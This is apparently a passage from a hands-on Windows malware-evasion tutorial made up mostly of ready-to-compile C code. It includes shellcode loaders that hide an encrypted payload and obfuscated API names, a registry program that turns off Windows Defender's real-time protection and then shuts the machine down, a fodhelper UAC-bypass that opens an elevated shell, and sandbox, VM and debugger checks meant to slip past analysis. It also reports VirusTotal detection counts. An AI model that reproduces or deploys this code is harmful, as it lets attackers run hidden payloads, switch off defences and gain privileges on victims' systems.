unsigned char my_payload[] = { 0x91, 0x31, 0xf0, 0x91, 0x80, 0x8d, 0xb2, 0x73, 0x65, 0x63, 0x33, 0x34, 0x35, 0x3b, 0x37, 0x28, 0x3b, 0x31, 0x42, 0xa7, 0x15, 0x2d, 0xf9, 0x21, 0x05, 0x2b, 0xf9, 0x37, 0x6c, 0x23, 0xee, 0x2b, 0x4d, 0x31, 0xf8, 0x07, 0x20, 0x2d, 0x7d, 0xc4, 0x2f, 0x29, 0x3f, 0x54, 0xbd, 0x23, 0x54, 0xb9, 0xc1, 0x45, 0x12, 0x09, 0x72, 0x49, 0x52, 0x32, 0xa4, 0xaa, 0x7f, 0x24, 0x75, 0xaa, 0x87, 0x94, 0x3f, 0x38, 0x22, 0x3d, 0xfb, 0x37, 0x52, 0xf8, 0x27, 0x5f, 0x3a, 0x64, 0xa4, 0xe0, 0xe5, 0xf1, 0x6d, 0x79, 0x73, 0x3d, 0xf5, 0xa5, 0x06, 0x14, 0x2d, 0x62, 0xa2, 0x35, 0xff, 0x23, 0x7d, 0x3d, 0xe6, 0x39, 0x53, 0x3c, 0x71, 0xb5, 0x91, 0x25, 0x2d, 0x9c, 0xbb, 0x24, 0xff, 0x5f, 0xed, 0x31, 0x6c, 0xaf, 0x3e, 0x44, 0xb9, 0x2d, 0x43, 0xb3, 0xc9, 0x22, 0xb3, 0xac, 0x79, 0x2a, 0x64, 0xb8, 0x55, 0x99, 0x06, 0x84, 0x3c, 0x66, 0x3e, 0x57, 0x6d, 0x26, 0x4b, 0xb4, 0x01, 0xb3, 0x3d, 0x3d, 0xe6, 0x39, 0x57, 0x3c, 0x71, 0xb5, 0x14, 0x32, 0xee, 0x6f, 0x3a, 0x21, 0xff, 0x2b, 0x79, 0x30, 0x6c, 0xa9, 0x32, 0xfe, 0x74, 0xed, 0x3a, 0x72, 0xb5, 0x22, 0x2a, 0x24, 0x2c, 0x35, 0x3c, 0x23, 0x2c, 0x21, 0x32, 0x2c, 0x31, 0x3f, 0x3a, 0xf0, 0x89, 0x43, 0x33, 0x37, 0x8b, 0x8b, 0x3d, 0x38, 0x34, 0x23, 0x3b, 0xfe, 0x62, 0x8c, 0x25, 0x8c, 0x9a, 0x9c, 0x2f, 0x2d, 0xce, 0x6a, 0x65, 0x79, 0x6d, 0x79, 0x73, 0x75, 0x70, 0x2d, 0xff, 0xfe, 0x64, 0x62, 0x72, 0x65, 0x35, 0xd1, 0x54, 0xf2, 0x02, 0xfe, 0x8c, 0xa0, 0xcb, 0x95, 0xc7, 0xd1, 0x33, 0x22, 0xc8, 0xc3, 0xe1, 0xd6, 0xf8, 0x86, 0xb8, 0x31, 0xf0, 0xb1, 0x58, 0x59, 0x74, 0x0f, 0x6f, 0xe3, 0x89, 0x85, 0x01, 0x6e, 0xde, 0x3e, 0x7e, 0x0b, 0x1c, 0x1f, 0x70, 0x3c, 0x33, 0xfa, 0xbf, 0x9c, 0xa7, 0x06, 0x15, 0x07, 0x06, 0x57, 0x08, 0x01, 0x16, 0x75 };
unsigned int my_payload_len = sizeof(my_payload);
 
// XOR encrypted "VirtualAlloc"
unsigned char fname[] = { 0x3b, 0x10, 0x01, 0x01, 0x05, 0x04, 0x1e, 0x32, 0x09, 0x0f, 0x1d, 0x06 };
 
// XOR encrypted "kernel32.dll"
unsigned char s_dll[] = { 0x06, 0x1c, 0x01, 0x1b, 0x15, 0x09, 0x41, 0x41, 0x4b, 0x07, 0x1e, 0x09 };
 
char my_secret_key[] = "mysupersecretkey";
 
LPVOID (WINAPI * pVirtualAlloc)(
	LPVOID lpAddress,
	SIZE_T dwSize,
	DWORD flAllocationType,
	DWORD flProtect
);
 
// decrypt deXOR function
void XOR(char * data, size_t data_len, char * key, size_t key_len) {
	int j;
	j = 0;
	for (int i = 0; i < data_len; i++) {
		if (j == key_len) j = 0;
			data[i] = data[i] ^ key[j];
			j++;
		}
	}
 
PIMAGE_EXPORT_DIRECTORY getEDT(HMODULE module) {
    PBYTE base = (PBYTE)module;
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base;
    PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(base + dos->e_lfanew);
 
    if (nt->Signature != IMAGE_NT_SIGNATURE)
        return NULL;
 
    if (IMAGE_DIRECTORY_ENTRY_EXPORT >= nt->OptionalHeader.NumberOfRvaAndSizes)
        return NULL;
 
    DWORD rva = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
    return (PIMAGE_EXPORT_DIRECTORY)(base + rva);
}
 
DWORD findFuncB(PDWORD npt, DWORD size, PBYTE base, LPCSTR proc) {
    DWORD min = 0, max = size - 1;
    while (min <= max) {
        DWORD mid = (min + max) >> 1;
        int cmp = strcmp((LPCSTR)(npt[mid] + base), proc);
        if (cmp < 0) min = mid + 1;
        else if (cmp > 0) max = mid - 1;
        else return mid;
    }
    return (DWORD)-1;
}
 
DWORD getFuncOrd(HMODULE module, LPCSTR proc) {
    PBYTE base = (PBYTE)module;
    PIMAGE_EXPORT_DIRECTORY edt = getEDT(module);
    if (!edt) return -1;
 
    PDWORD npt = (PDWORD)(base + edt->AddressOfNames);
    PWORD eot = (PWORD)(base + edt->AddressOfNameOrdinals);
    DWORD i = findFuncB(npt, edt->NumberOfNames, base, proc);
    if (i == -1) return -1;
 
    return eot[i] + edt->Base;
}
 
int main(void) {
	LPVOID  my_payload_mem; // memory buffer for payload
	BOOL rv;
	HANDLE th;
	DWORD oldprotect = 0;
 
	XOR((char*)s_dll, sizeof(s_dll), my_secret_key, strlen(my_secret_key));
	XOR((char*)fname, sizeof(fname), my_secret_key, strlen(my_secret_key));
 
	HMODULE hMod = GetModuleHandle((LPCSTR)s_dll);
	if (!hMod) {
		printf("Failed to get module handle\n");
		return -1;
	}
 
	DWORD ordinal = getFuncOrd(hMod, (LPCSTR)fname);
	if (ordinal == -1) {
		printf("Failed to get ordinal\n");
		return -1;
	}
		
	pVirtualAlloc = (LPVOID(WINAPI *)(LPVOID, SIZE_T, DWORD, DWORD))
                    GetProcAddress(hMod, (LPCSTR)MAKEINTRESOURCE(ordinal));
	if (!pVirtualAlloc) {
        	printf("Failed to resolve VirtualAlloc\n");
	        return -1;
	}
		
	// Decrypt (DeXOR) the payload
        XOR((char *) my_payload, my_payload_len, my_secret_key, strlen(my_secret_key));
	// Allocate a memory buffer for payload
	my_payload_mem = pVirtualAlloc(0, my_payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
 
	// copy payload to buffer
	RtlMoveMemory(my_payload_mem, my_payload, my_payload_len);
 
	// make new buffer as executable
	rv = VirtualProtect(my_payload_mem, my_payload_len, PAGE_EXECUTE_READ, &oldprotect);
	if ( rv != 0 ) {
		// run payload
		th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)my_payload_mem, 0, 0, 0);
		WaitForSingleObject(th, -1);
	}
	return 0;
}

Compile

x86_64-w64-mingw32-g++ hack5.cpp -o hack5.exe -mconsole -I/usr/
share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fdata-sections -Wno-write-strings -fno-exception

Run


By hashing

Here we will encrypt and decrypt function name with hashing.
Step 1 : Encrypt function name.
Use this script.

# hash.py
def myHash(data):
	hash = 0x35
	for i in range(0, len(data)):
		hash += ord(data[i]) + (hash << 1)
	print (hash)
	return hash
 
myHash("VirtualAlloc")


Step 2: Write Exploit.

//hack6.cpp
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
// our xor encrypted payload
unsigned char my_payload[] = { 0x91, 0x31, 0xf0, 0x91, 0x80, 0x8d, 0xb2, 0x73, 0x65, 0x63, 0x33, 0x34, 0x35, 0x3b, 0x37, 0x28, 0x3b, 0x31, 0x42, 0xa7, 0x15, 0x2d, 0xf9, 0x21, 0x05, 0x2b, 0xf9, 0x37, 0x6c, 0x23, 0xee, 0x2b, 0x4d, 0x31, 0xf8, 0x07, 0x20, 0x2d, 0x7d, 0xc4, 0x2f, 0x29, 0x3f, 0x54, 0xbd, 0x23, 0x54, 0xb9, 0xc1, 0x45, 0x12, 0x09, 0x72, 0x49, 0x52, 0x32, 0xa4, 0xaa, 0x7f, 0x24, 0x75, 0xaa, 0x87, 0x94, 0x3f, 0x38, 0x22, 0x3d, 0xfb, 0x37, 0x52, 0xf8, 0x27, 0x5f, 0x3a, 0x64, 0xa4, 0xe0, 0xe5, 0xf1, 0x6d, 0x79, 0x73, 0x3d, 0xf5, 0xa5, 0x06, 0x14, 0x2d, 0x62, 0xa2, 0x35, 0xff, 0x23, 0x7d, 0x3d, 0xe6, 0x39, 0x53, 0x3c, 0x71, 0xb5, 0x91, 0x25, 0x2d, 0x9c, 0xbb, 0x24, 0xff, 0x5f, 0xed, 0x31, 0x6c, 0xaf, 0x3e, 0x44, 0xb9, 0x2d, 0x43, 0xb3, 0xc9, 0x22, 0xb3, 0xac, 0x79, 0x2a, 0x64, 0xb8, 0x55, 0x99, 0x06, 0x84, 0x3c, 0x66, 0x3e, 0x57, 0x6d, 0x26, 0x4b, 0xb4, 0x01, 0xb3, 0x3d, 0x3d, 0xe6, 0x39, 0x57, 0x3c, 0x71, 0xb5, 0x14, 0x32, 0xee, 0x6f, 0x3a, 0x21, 0xff, 0x2b, 0x79, 0x30, 0x6c, 0xa9, 0x32, 0xfe, 0x74, 0xed, 0x3a, 0x72, 0xb5, 0x22, 0x2a, 0x24, 0x2c, 0x35, 0x3c, 0x23, 0x2c, 0x21, 0x32, 0x2c, 0x31, 0x3f, 0x3a, 0xf0, 0x89, 0x43, 0x33, 0x37, 0x8b, 0x8b, 0x3d, 0x38, 0x34, 0x23, 0x3b, 0xfe, 0x62, 0x8c, 0x25, 0x8c, 0x9a, 0x9c, 0x2f, 0x2d, 0xce, 0x6a, 0x65, 0x79, 0x6d, 0x79, 0x73, 0x75, 0x70, 0x2d, 0xff, 0xfe, 0x64, 0x62, 0x72, 0x65, 0x35, 0xd1, 0x54, 0xf2, 0x02, 0xfe, 0x8c, 0xa0, 0xcb, 0x95, 0xc7, 0xd1, 0x33, 0x22, 0xc8, 0xc3, 0xe1, 0xd6, 0xf8, 0x86, 0xb8, 0x31, 0xf0, 0xb1, 0x58, 0x59, 0x74, 0x0f, 0x6f, 0xe3, 0x89, 0x85, 0x01, 0x6e, 0xde, 0x3e, 0x7e, 0x0b, 0x1c, 0x1f, 0x70, 0x3c, 0x33, 0xfa, 0xbf, 0x9c, 0xa7, 0x06, 0x15, 0x07, 0x06, 0x57, 0x08, 0x01, 0x16, 0x75 };
unsigned int my_payload_len = sizeof(my_payload);
 
typedef LPVOID(WINAPI* pVirtualAlloc)(
	LPVOID lpAddress,
	SIZE_T dwSize,
	DWORD flAllocationType,
	DWORD flProtect
);
 
DWORD calcMyHash(char* data) {
	DWORD hash = 0x35;
	for (int i = 0; i < strlen(data); i++) {
		hash += data[i] + (hash << 1);
	}
	return hash;
}
 
static LPVOID getAPIAddr(HMODULE h, DWORD myHash) {
	PIMAGE_DOS_HEADER img_dos_header = (PIMAGE_DOS_HEADER)h;
	PIMAGE_NT_HEADERS img_nt_header = (PIMAGE_NT_HEADERS)((LPBYTE)h + img_dos_header->e_lfanew);
	PIMAGE_EXPORT_DIRECTORY img_edt = (PIMAGE_EXPORT_DIRECTORY)((LPBYTE)h + img_nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
	PDWORD fAddr = (PDWORD)((LPBYTE)h + img_edt->AddressOfFunctions);
	PDWORD fNames = (PDWORD)((LPBYTE)h + img_edt->AddressOfNames);
	PWORD fOrd = (PWORD)((LPBYTE)h + img_edt->AddressOfNameOrdinals);
	for (DWORD i = 0; i < img_edt->AddressOfFunctions; i++) {
		LPSTR pFuncName = (LPSTR)((LPBYTE)h + fNames[i]);
		if (calcMyHash(pFuncName) == myHash) {
			printf("successfully found! %s - %d\n", pFuncName, myHash);
			return (LPVOID)((LPBYTE)h + fAddr[fOrd[i]]);
		}
	}
	return nullptr;
}
// key for XOR decrypt
char my_secret_key[] = "mysupersecretkey";
 
// decrypt deXOR function
void XOR(char * data, size_t data_len, char * key, size_t key_len) {
	int j;
	j = 0;
	for (int i = 0; i < data_len; i++) {
		if (j == key_len - 1) j = 0;
			data[i] = data[i] ^ key[j];
			j++;
		}
	}
 
int main(void) {
	void * my_payload_mem; // memory buffer for payload
	BOOL rv;
	HANDLE th;
	DWORD oldprotect = 0;
 
	HMODULE mod = LoadLibrary("kernel32.dll");
	LPVOID addr = getAPIAddr(mod, 52968519);
	printf("0x%p\n", addr);
	XOR((char *) my_payload, my_payload_len, my_secret_key, sizeof(my_secret_key));
	
	pVirtualAlloc myVirtualAlloc = (pVirtualAlloc)addr;
	
	// Allocate a memory buffer for payload
	my_payload_mem = myVirtualAlloc(0, my_payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	
	if (!my_payload_mem){
		printf("error at my_payload_mem");
	}
	
	// Decrypt (DeXOR) the payload
	// copy payload to buffer
	RtlMoveMemory(my_payload_mem, my_payload, my_payload_len);
	
	// make new buffer as executable
	rv = VirtualProtect(my_payload_mem, my_payload_len, PAGE_EXECUTE_READ, &oldprotect);
	if ( rv != 0 ) {
		
		// run payload
		th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)my_payload_mem, 0, 0, 0);
		if (th == NULL) {
		    // CreateThread failed
		    DWORD error_code = GetLastError();
		    fprintf(stderr, "Error: CreateThread failed. GetLastError = %lu\n", error_code);
		    // Optional: exit or handle error
		}
		WaitForSingleObject(th, -1);
	}
	return 0;
}

Compile

x86_64-w64-mingw32-gcc hack6.cpp -o hack6.exe -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc

Run


Part 4 - Fill 100MB of memory.

The main limit with AV scanner is the amount of time they can spend on each file. During a regular system scan, AV will have to analyze thousands of files. It just cannot spend too much time or power on a peculiar one. One of the “classic” AV evasion trick besides payload encryption is we just allocate and fill 100MB of memory

  • We will simply use this code to allocate 100MB memory.
char *mem = NULL;
mem = (char *) malloc(100000000);
if (mem != NULL) {
memset(mem, 00, 100000000);
free(mem);
//... run our malicious logic
}

We will add this code to hack3.cpp.

Code

//hack4.cpp
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
// our xor encrypted payload
unsigned char my_payload[] = { 0x91, 0x31, 0xf0, 0x91, 0x80, 0x8d, 0xb2, 0x73, 0x65, 0x63, 0x33, 0x34, 0x35, 0x3b, 0x37, 0x28, 0x3b, 0x31, 0x42, 0xa7, 0x15, 0x2d, 0xf9, 0x21, 0x05, 0x2b, 0xf9, 0x37, 0x6c, 0x23, 0xee, 0x2b, 0x4d, 0x31, 0xf8, 0x07, 0x20, 0x2d, 0x7d, 0xc4, 0x2f, 0x29, 0x3f, 0x54, 0xbd, 0x23, 0x54, 0xb9, 0xc1, 0x45, 0x12, 0x09, 0x72, 0x49, 0x52, 0x32, 0xa4, 0xaa, 0x7f, 0x24, 0x75, 0xaa, 0x87, 0x94, 0x3f, 0x38, 0x22, 0x3d, 0xfb, 0x37, 0x52, 0xf8, 0x27, 0x5f, 0x3a, 0x64, 0xa4, 0xe0, 0xe5, 0xf1, 0x6d, 0x79, 0x73, 0x3d, 0xf5, 0xa5, 0x06, 0x14, 0x2d, 0x62, 0xa2, 0x35, 0xff, 0x23, 0x7d, 0x3d, 0xe6, 0x39, 0x53, 0x3c, 0x71, 0xb5, 0x91, 0x25, 0x2d, 0x9c, 0xbb, 0x24, 0xff, 0x5f, 0xed, 0x31, 0x6c, 0xaf, 0x3e, 0x44, 0xb9, 0x2d, 0x43, 0xb3, 0xc9, 0x22, 0xb3, 0xac, 0x79, 0x2a, 0x64, 0xb8, 0x55, 0x99, 0x06, 0x84, 0x3c, 0x66, 0x3e, 0x57, 0x6d, 0x26, 0x4b, 0xb4, 0x01, 0xb3, 0x3d, 0x3d, 0xe6, 0x39, 0x57, 0x3c, 0x71, 0xb5, 0x14, 0x32, 0xee, 0x6f, 0x3a, 0x21, 0xff, 0x2b, 0x79, 0x30, 0x6c, 0xa9, 0x32, 0xfe, 0x74, 0xed, 0x3a, 0x72, 0xb5, 0x22, 0x2a, 0x24, 0x2c, 0x35, 0x3c, 0x23, 0x2c, 0x21, 0x32, 0x2c, 0x31, 0x3f, 0x3a, 0xf0, 0x89, 0x43, 0x33, 0x37, 0x8b, 0x8b, 0x3d, 0x38, 0x34, 0x23, 0x3b, 0xfe, 0x62, 0x8c, 0x25, 0x8c, 0x9a, 0x9c, 0x2f, 0x2d, 0xce, 0x6a, 0x65, 0x79, 0x6d, 0x79, 0x73, 0x75, 0x70, 0x2d, 0xff, 0xfe, 0x64, 0x62, 0x72, 0x65, 0x35, 0xd1, 0x54, 0xf2, 0x02, 0xfe, 0x8c, 0xa0, 0xcb, 0x95, 0xc7, 0xd1, 0x33, 0x22, 0xc8, 0xc3, 0xe1, 0xd6, 0xf8, 0x86, 0xb8, 0x31, 0xf0, 0xb1, 0x58, 0x59, 0x74, 0x0f, 0x6f, 0xe3, 0x89, 0x85, 0x01, 0x6e, 0xde, 0x3e, 0x7e, 0x0b, 0x1c, 0x1f, 0x70, 0x3c, 0x33, 0xfa, 0xbf, 0x9c, 0xa7, 0x06, 0x15, 0x07, 0x06, 0x57, 0x08, 0x01, 0x16, 0x75 };
unsigned int my_payload_len = sizeof(my_payload);
 
// XOR encrypted VirtualAlloc
unsigned char cVirtualAlloc[] = { 0x3b, 0x10, 0x01, 0x01, 0x05, 0x04, 0x1e, 0x32, 0x09, 0x0f, 0x1d, 0x06 };
unsigned int cVirtualAllocLen = sizeof(cVirtualAlloc);
 
LPVOID (WINAPI * pVirtualAlloc)(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
 
// key for XOR decrypt
char my_secret_key[] = "mysupersecretkey";
 
// decrypt deXOR function
void XOR(char * data, size_t data_len, char * key, size_t key_len) {
	int j;
	j = 0;
	for (int i = 0; i < data_len; i++) {
		if (j == key_len - 1) j = 0;
			data[i] = data[i] ^ key[j];
			j++;
		}
	}
 
int main(void) {
	void * my_payload_mem; // memory buffer for payload
	BOOL rv;
	HANDLE th;
	DWORD oldprotect = 0;
 
	char *mem = NULL;
	mem = (char *) malloc(100000000);
	if (mem != NULL) {
		memset(mem, 00, 100000000);
		free(mem);
 
		XOR((char *)cVirtualAlloc, cVirtualAllocLen, my_secret_key, strlen(my_secret_key));
		pVirtualAlloc = (LPVOID(WINAPI *)(LPVOID, SIZE_T, DWORD, DWORD))
	                    GetProcAddress(GetModuleHandle("kernel32.dll"), (LPCSTR)cVirtualAlloc);
 
		if (!pVirtualAlloc) {
	        	printf("Failed to resolve VirtualAlloc\n");
		        return -1;
		}
	
		// Allocate a memory buffer for payload
		my_payload_mem = pVirtualAlloc(0, my_payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	
		// Decrypt (DeXOR) the payload
		XOR((char *) my_payload, my_payload_len, my_secret_key, sizeof(my_secret_key));
	
		// copy payload to buffer
		RtlMoveMemory(my_payload_mem, my_payload, my_payload_len);
	
		// make new buffer as executable
		rv = VirtualProtect(my_payload_mem, my_payload_len, PAGE_EXECUTE_READ, &oldprotect);
		if ( rv != 0 ) {
			// run payload
			th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) my_payload_mem, 0, 0, 0);
			WaitForSingleObject(th, -1);
		}
		
		return 0;
	}
}

Compile

x86_64-w64-mingw32-g++ hack4.cpp -o hack4.exe -mconsole -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fdata-sections -Wno-write-strings -fno-exceptions

Run


Now, if we see VirusTotal result only 18/72 AV has detected this exe as malicious.

If we increase the allocate memory from 100MB to 1000MB. Only 16/72 AV has detected this exe as malicious.

Usually we do not this technique regularly.

Disable Windows Defender

Code

//hack.cpp
#include <cstdio>
#include <windows.h>
 
// check for admin rights
bool isUserAdmin() {
	bool isElevated = false;
	HANDLE token;
	TOKEN_ELEVATION elev;
	DWORD size;
	if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &token)) {
		if (GetTokenInformation(token, TokenElevation, &elev, sizeof(elev), &size)) {
			isElevated = elev.TokenIsElevated;
		}
	}
	if (token) {
		CloseHandle(token);
		token = NULL;
	}
	return isElevated;
}
 
// disable defender via registry
int main(int argc, char* argv[]) {
	HKEY key;
	HKEY new_key;
	DWORD disable = 1;
	if (!isUserAdmin()) {
		printf("please, run as admin.\n");
		return -1;
	}
	LONG res = RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Policies\\Microsoft\\Windows Defender", 0, KEY_ALL_ACCESS, &key);
	if (res == ERROR_SUCCESS) {
		RegSetValueEx(key, "DisableAntiSpyware", 0, REG_DWORD, (const BYTE*)&disable, sizeof(disable));
		RegCreateKeyEx(key, "Real-Time Protection", 0, 0, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, 0, &new_key, 0);
		RegSetValueEx(new_key, "DisableRealtimeMonitoring", 0, REG_DWORD, (const BYTE*)&disable, sizeof(disable));
		RegSetValueEx(new_key, "DisableBehaviorMonitoring", 0, REG_DWORD, (const BYTE*)&disable, sizeof(disable));
		RegSetValueEx(new_key, "DisableScanOnRealtimeEnable", 0, REG_DWORD, (const BYTE*)&disable, sizeof(disable));
		RegSetValueEx(new_key, "DisableOnAccessProtection", 0, REG_DWORD, (const BYTE*)&disable, sizeof(disable));
		RegSetValueEx(new_key, "DisableIOAVProtection", 0, REG_DWORD, (const BYTE*)&disable, sizeof(disable));
		RegCloseKey(key);
		RegCloseKey(new_key);
	}
	printf("perfectly disabled :)\n");
	printf("press any key to restart to apply them.\n");
	system("pause");
	system("C:\\Windows\\System32\\shutdown /s /t 0");
	return 1;
}

Compile

x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

Run


UAC bypass

via foodhelper.exe

Code

#include <windows.h>
#include <stdio.h>
 
int main() {
	HKEY hkey;
	DWORD d;
	const char* settings = "Software\\Classes\\ms-settings\\Shell\\Open\\command";
	const char* cmd = "cmd /c start C:\\Windows\\System32\\cmd.exe";
	
	// default program
	const char* del = "";
	
	// attempt to open the key
	LSTATUS stat = RegCreateKeyEx(HKEY_CURRENT_USER, (LPCSTR)settings, 0, NULL, 0, KEY_WRITE, NULL, &hkey, &d);
	printf(stat != ERROR_SUCCESS ? "failed to open or create reg key\n" : "successfully create reg key\n");
	
	// set the registry values
	stat = RegSetValueEx(hkey, "", 0, REG_SZ, (unsigned char*)cmd, strlen(cmd));
	printf(stat != ERROR_SUCCESS ? "failed to set reg value\n" : "successfully set reg value\n");
	stat = RegSetValueEx(hkey, "DelegateExecute", 0, REG_SZ, (unsigned char*)del, strlen(del));
	printf(stat != ERROR_SUCCESS ? "failed to set reg value: DelegateExecute\n" : "successfully set reg value: DelegateExecute\n");
	
	// close the key handle
	RegCloseKey(hkey);
	
	// start the fodhelper.exe program
	SHELLEXECUTEINFO sei = { sizeof(sei) };
	sei.lpVerb = "runas";
	sei.lpFile = "C:\\Windows\\System32\\fodhelper.exe";
	sei.hwnd = NULL;
	sei.nShow = SW_NORMAL;
	if (!ShellExecuteEx(&sei)) {
		DWORD err = GetLastError();
		printf (err == ERROR_CANCELLED ? "the user refused to allow privileges elevation.\n" : "unexpected error! error code: %ld\n", err);
	} else {
		printf("successfully create process =^..^=\n");
	}
	return 0;
}

Compile

x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe \
-I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions -fmerge-all-constants \
-static-libstdc++ -static-libgcc -fpermissive

Run

Tips

To bypass Dynamic Analyst we can use this Techniques:

  1. Check the first argument. Does it contain file name or not.
if (strstr(argv[0], "your.exe") == NULL) {
	printf("What's my name? WTF?? :(\n");
	return -2;
}
  1. Check BeingDegugged flag in PEB.
if (IsDebuggerPresent()) {
	printf("attached debugger detected :(\n");
	return -2;
}
  1. Check Resources to verify sandbox.
// resource check
BOOL checkResources() {
	SYSTEM_INFO s;
	MEMORYSTATUSEX ms;
	DWORD procNum;
	DWORD ram;
	
	// check number of processors
	GetSystemInfo(&s);
	procNum = s.dwNumberOfProcessors;
	if (procNum < 2) return false;
	
	// check RAM
	ms.dwLength = sizeof(ms);
	GlobalMemoryStatusEx(&ms);
	ram = ms.ullTotalPhys / 1024 / 1024 / 1024;
	if (ram < 2) return false;
		return true;
}
 
if (checkResources() == false) {
printf("possibly launched in sandbox :(\n");
return -2;
}

VirtualBox Detection.

  1. If "HARDWARE\\ACPI\\FADT\\VBOX__" Value is deteced in registry then the windows is running in virtualbox.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
 
int reg_key_ex(HKEY hKeyRoot, char* lpSubKey) {
	HKEY hKey = nullptr;
	LONG ret = RegOpenKeyExA(hKeyRoot, lpSubKey, 0, KEY_READ, &hKey);
	if (ret == ERROR_SUCCESS) {
		RegCloseKey(hKey);
		return TRUE;
	}
	return FALSE;
}
 
int reg_key_compare(HKEY hKeyRoot, char* lpSubKey, char* regVal, char* compare) {
	HKEY hKey = nullptr;
	LONG ret;
	char value[1024];
	DWORD size = sizeof(value);
	ret = RegOpenKeyExA(hKeyRoot, lpSubKey, 0, KEY_READ, &hKey);
	if (ret == ERROR_SUCCESS) {
		RegQueryValueExA(hKey, regVal, NULL, NULL,(LPBYTE)value, &size);
		if (ret == ERROR_SUCCESS) {
			if (strcmp(value, compare) == 0) {
				return TRUE;
			}
		}
	}
	return FALSE;
}
 
int main() {
	if (reg_key_ex(HKEY_LOCAL_MACHINE, "HARDWARE\\ACPI\\FADT\\VBOX__")) {
		printf("VirtualBox VM reg path value detected :(\n");
		return -2;
}
	if (reg_key_compare(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\SystemInformation", "SystemProductName", "VirtualBox")) {
		printf("VirtualBox VM reg key value detected :(\n");
		return -2;
}
	if (reg_key_compare(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\SystemInformation", "BiosVersion", "VirtualBox")) {
		printf("VirtualBox VM BIOS version detected :(\n");
		return -2;
}
return 0;
}

Debugger Detection

  • During debugging, the system sets the FLG_HEAP_ENABLE_TAIL_CHECK (0x10), FLG_HEAP_ENABLE_FREE_CHECK (0x20) and FLG_HEAP_VALIDATE_PARAMETERS (0x40) flags in the NtGlobalFlag field, which is located in the PEB structure.
  • The NtGlobalFlag has the value 0x68 offset on 32-bit Windows, the value of 0xbc on 64-bit Windows and both of them are set to 0:
#include <winternl.h>
#include <windows.h>
#include <stdio.h>
 
#define FLG_HEAP_ENABLE_TAIL_CHECK 0x10
#define FLG_HEAP_ENABLE_FREE_CHECK 0x20
#define FLG_HEAP_VALIDATE_PARAMETERS 0x40
#define NT_GLOBAL_FLAG_DEBUGGED (FLG_HEAP_ENABLE_TAIL_CHECK | FLG_HEAP_ENABLE_FREE_CHECK | FLG_HEAP_VALIDATE_PARAMETERS)
 
#pragma comment (lib, "user32.lib")
 
DWORD checkNtGlobalFlag() {
	PPEB ppeb = (PPEB)__readgsqword(0x60);
	DWORD myNtGlobalFlag = *(PDWORD)((PBYTE)ppeb + 0xBC);
	MessageBox(NULL, myNtGlobalFlag & NT_GLOBAL_FLAG_DEBUGGED ? "Bow-wow!" : "Meow-meow!", "=^..^=", MB_OK);
	return 0;
}
 
int main(int argc, char* argv[]) {
	DWORD check = checkNtGlobalFlag();
	return 0;
}

Compile

x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe \
-I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions -fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

Run in degugger